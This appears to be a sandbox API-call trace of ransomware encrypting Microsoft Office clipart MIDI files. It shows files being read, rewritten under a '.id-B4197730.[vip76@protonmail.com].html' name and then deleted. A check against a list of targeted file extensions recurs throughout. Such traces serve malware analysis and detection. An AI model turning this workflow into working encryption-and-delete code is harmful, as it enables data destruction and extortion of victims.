	[0182.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0182.305] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.306] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0182.306] GetLastError () returned 0x0
	[0182.306] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x1e58, lpOverlapped=0x0) returned 1
	[0183.014] WriteFile (in: hFile=0x36c, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x1e60, lpOverlapped=0x0) returned 1
	[0183.065] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.065] WriteFile (in: hFile=0x36c, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.065] SetEndOfFile (hFile=0x36c) returned 1
	[0183.066] CloseHandle (hObject=0x36c) returned 1
	[0183.066] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.066] SetEndOfFile (hFile=0x514) returned 1
	[0183.068] CloseHandle (hObject=0x514) returned 1
	[0183.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1
	[0183.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.739] lstrlenW (lpString=".doc") returned 4
	[0183.739] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.739] lstrlenW (lpString=".docx") returned 5
	[0183.740] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0183.740] lstrlenW (lpString=".pdf") returned 4
	[0183.740] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.740] lstrlenW (lpString=".xls") returned 4
	[0183.740] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.740] lstrlenW (lpString=".xlsx") returned 5
	[0183.740] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0183.740] lstrlenW (lpString=".ppt") returned 4
	[0183.740] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.740] lstrlenW (lpString=".zip") returned 4
	[0183.740] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.740] lstrlenW (lpString=".rar") returned 4
	[0183.740] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.740] lstrlenW (lpString=".bz2") returned 4
	[0183.740] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.740] lstrlenW (lpString=".7z") returned 3
	[0183.740] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.740] lstrlenW (lpString=".dbf") returned 4
	[0183.740] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.740] lstrlenW (lpString=".1cd") returned 4
	[0183.740] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.741] lstrlenW (lpString=".jpg") returned 4
	[0183.741] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.741] lstrlenW (lpString=".doc") returned 4
	[0183.741] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.741] lstrlenW (lpString=".docx") returned 5
	[0183.741] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0183.741] lstrlenW (lpString=".pdf") returned 4
	[0183.741] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.741] lstrlenW (lpString=".xls") returned 4
	[0183.741] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.741] lstrlenW (lpString=".xlsx") returned 5
	[0183.741] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0183.741] lstrlenW (lpString=".ppt") returned 4
	[0183.741] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.741] lstrlenW (lpString=".zip") returned 4
	[0183.741] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.741] lstrlenW (lpString=".rar") returned 4
	[0183.741] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.741] lstrlenW (lpString=".bz2") returned 4
	[0183.741] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.741] lstrlenW (lpString=".7z") returned 3
	[0183.741] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.741] lstrlenW (lpString=".dbf") returned 4
	[0183.741] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.742] lstrlenW (lpString=".1cd") returned 4
	[0183.742] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0183.742] lstrlenW (lpString=".jpg") returned 4
	[0183.742] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.742] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0183.742] lstrlenW (lpString="SAFRI_01.MID") returned 12
	[0183.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0183.743] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10122) returned 1
	[0183.743] CloseHandle (hObject=0x5ac) returned 1
	[0183.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220
	[0183.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0183.744] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.744] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0183.745] GetLastError () returned 0x0
	[0183.745] ReadFile (in: hFile=0x5ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x278a, lpOverlapped=0x0) returned 1
	[0183.747] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2790, lpOverlapped=0x0) returned 1
	[0183.748] ReadFile (in: hFile=0x5ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.748] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.748] SetEndOfFile (hFile=0x5b8) returned 1
	[0183.749] CloseHandle (hObject=0x5b8) returned 1
	[0183.749] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.749] SetEndOfFile (hFile=0x5ac) returned 1
	[0183.755] CloseHandle (hObject=0x5ac) returned 1
	[0183.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1
	[0183.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.757] lstrlenW (lpString=".doc") returned 4
	[0183.757] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.757] lstrlenW (lpString=".docx") returned 5
	[0183.757] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0183.757] lstrlenW (lpString=".pdf") returned 4
	[0183.757] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.757] lstrlenW (lpString=".xls") returned 4
	[0183.757] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.757] lstrlenW (lpString=".xlsx") returned 5
	[0183.757] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0183.757] lstrlenW (lpString=".ppt") returned 4
	[0183.757] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.757] lstrlenW (lpString=".zip") returned 4
	[0183.757] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.757] lstrlenW (lpString=".rar") returned 4
	[0183.758] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.758] lstrlenW (lpString=".bz2") returned 4
	[0183.758] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.758] lstrlenW (lpString=".7z") returned 3
	[0183.758] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.758] lstrlenW (lpString=".dbf") returned 4
	[0183.758] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.758] lstrlenW (lpString=".1cd") returned 4
	[0183.758] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.758] lstrlenW (lpString=".jpg") returned 4
	[0183.758] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.758] lstrlenW (lpString=".doc") returned 4
	[0183.758] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.758] lstrlenW (lpString=".docx") returned 5
	[0183.758] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0183.758] lstrlenW (lpString=".pdf") returned 4
	[0183.758] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.758] lstrlenW (lpString=".xls") returned 4
	[0183.758] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.758] lstrlenW (lpString=".xlsx") returned 5
	[0183.758] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0183.758] lstrlenW (lpString=".ppt") returned 4
	[0183.758] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.759] lstrlenW (lpString=".zip") returned 4
	[0183.759] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.759] lstrlenW (lpString=".rar") returned 4
	[0183.759] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.759] lstrlenW (lpString=".bz2") returned 4
	[0183.759] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.759] lstrlenW (lpString=".7z") returned 3
	[0183.759] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.759] lstrlenW (lpString=".dbf") returned 4
	[0183.759] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.759] lstrlenW (lpString=".1cd") returned 4
	[0183.759] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0183.759] lstrlenW (lpString=".jpg") returned 4
	[0183.759] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.759] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0183.760] lstrlenW (lpString="SCHOL_02.MID") returned 12
	[0183.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0183.761] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5058) returned 1
	[0183.761] CloseHandle (hObject=0x5ac) returned 1
	[0183.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220
	[0183.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0183.762] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.762] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0183.763] GetLastError () returned 0x0
	[0183.763] ReadFile (in: hFile=0x5ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x13c2, lpOverlapped=0x0) returned 1
	[0183.769] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x13d0, lpOverlapped=0x0) returned 1
	[0183.770] ReadFile (in: hFile=0x5ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.770] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.770] SetEndOfFile (hFile=0x5b8) returned 1
	[0183.770] CloseHandle (hObject=0x5b8) returned 1
	[0183.770] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.770] SetEndOfFile (hFile=0x5ac) returned 1
	[0183.774] CloseHandle (hObject=0x5ac) returned 1
	[0183.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1
	[0183.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.775] lstrlenW (lpString=".doc") returned 4
	[0183.775] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.775] lstrlenW (lpString=".docx") returned 5
	[0183.775] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0183.775] lstrlenW (lpString=".pdf") returned 4
	[0183.775] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.776] lstrlenW (lpString=".xls") returned 4
	[0183.776] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.776] lstrlenW (lpString=".xlsx") returned 5
	[0183.776] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0183.776] lstrlenW (lpString=".ppt") returned 4
	[0183.776] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.776] lstrlenW (lpString=".zip") returned 4
	[0183.776] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.776] lstrlenW (lpString=".rar") returned 4
	[0183.776] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.776] lstrlenW (lpString=".bz2") returned 4
	[0183.776] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.776] lstrlenW (lpString=".7z") returned 3
	[0183.776] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.776] lstrlenW (lpString=".dbf") returned 4
	[0183.776] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.776] lstrlenW (lpString=".1cd") returned 4
	[0183.776] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.776] lstrlenW (lpString=".jpg") returned 4
	[0183.776] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.776] lstrlenW (lpString=".doc") returned 4
	[0183.776] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.777] lstrlenW (lpString=".docx") returned 5
	[0183.777] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0183.777] lstrlenW (lpString=".pdf") returned 4
	[0183.777] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.777] lstrlenW (lpString=".xls") returned 4
	[0183.777] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.777] lstrlenW (lpString=".xlsx") returned 5
	[0183.777] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0183.777] lstrlenW (lpString=".ppt") returned 4
	[0183.777] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.777] lstrlenW (lpString=".zip") returned 4
	[0183.777] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.777] lstrlenW (lpString=".rar") returned 4
	[0183.777] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.777] lstrlenW (lpString=".bz2") returned 4
	[0183.777] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.777] lstrlenW (lpString=".7z") returned 3
	[0183.777] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.777] lstrlenW (lpString=".dbf") returned 4
	[0183.777] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0183.777] lstrlenW (lpString=".1cd") returned 4
	[0183.777] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0184.214] lstrlenW (lpString=".jpg") returned 4
	[0184.214] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.215] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0184.215] lstrlenW (lpString="WNTER_01.MID") returned 12
	[0184.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0184.885] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=6915) returned 1
	[0184.998] CloseHandle (hObject=0x590) returned 1
	[0184.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220
	[0184.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
